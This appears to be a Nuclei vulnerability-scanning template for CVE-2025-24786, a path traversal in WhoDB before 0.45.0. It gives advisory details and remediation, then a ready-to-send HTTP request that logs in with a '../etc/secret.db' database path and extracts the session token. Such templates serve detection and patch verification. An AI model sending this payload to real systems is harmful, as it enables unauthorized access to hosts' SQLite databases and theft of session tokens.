WhoDB contains a path traversal caused by lack of validation when opening database files, letting unauthenticated attackers access arbitrary Sqlite3 databases on the host system, exploit requires attacker to manipulate database filename input.
PoC
id: CVE-2025-24786
info:
name: WhoDB < 0.45.0 - Path Traversal
author: basicbeny
severity: high
description: |
WhoDB contains a path traversal caused by lack of validation when opening database files, letting unauthenticated attackers access arbitrary Sqlite3 databases on the host system, exploit requires attacker to manipulate database filename input.
impact: |
Attackers can access any Sqlite3 database on the system, potentially exposing sensitive data.
remediation: |
Upgrade to version 0.45.0 or later.
reference:
- https://github.com/clidey/whodb
- https://github.com/clidey/whodb/security/advisories/GHSA-9r4c-jwx3-3j76
- https://nvd.nist.gov/vuln/detail/CVE-2025-24786
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2025-24786
epss-score: 0.02728
epss-percentile: 0.85338
cwe-id: CWE-22
metadata:
verified: true
max-request: 1
vendor: clidey
product: whodb
fofa-query: body="whodb"
tags: cve,cve2025,whodb,lfi,pathtraversal,unauth
http:
- raw:
- |
POST /api/query HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"operationName":"Login","variables":{"credentials":{"Type":"Sqlite3","Hostname":"","Database":"../etc/secret.db","Username":"","Password":"","Advanced":[]}},"query":"mutation Login($credentials: LoginCredentials!) {\n Login(credentials: $credentials) {\n Status\n __typename\n }\n}"}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"Status":true'
- '"StatusResponse"'
condition: and
- type: status
status:
- 200
extractors:
- type: regex
part: header
name: token
group: 1
regex:
- 'Token=([^;]+)'
# digest: 4b0a00483046022100b92bbef05c3c7f96b9aded53cb9591bfe82d4356977ff7818ade278dbaf35473022100ce3d05d07c7defc514186270bd91c077c46ed280930b2bdbb65ade3c69ece434:922c64590222798bb761d5b6d8e72950
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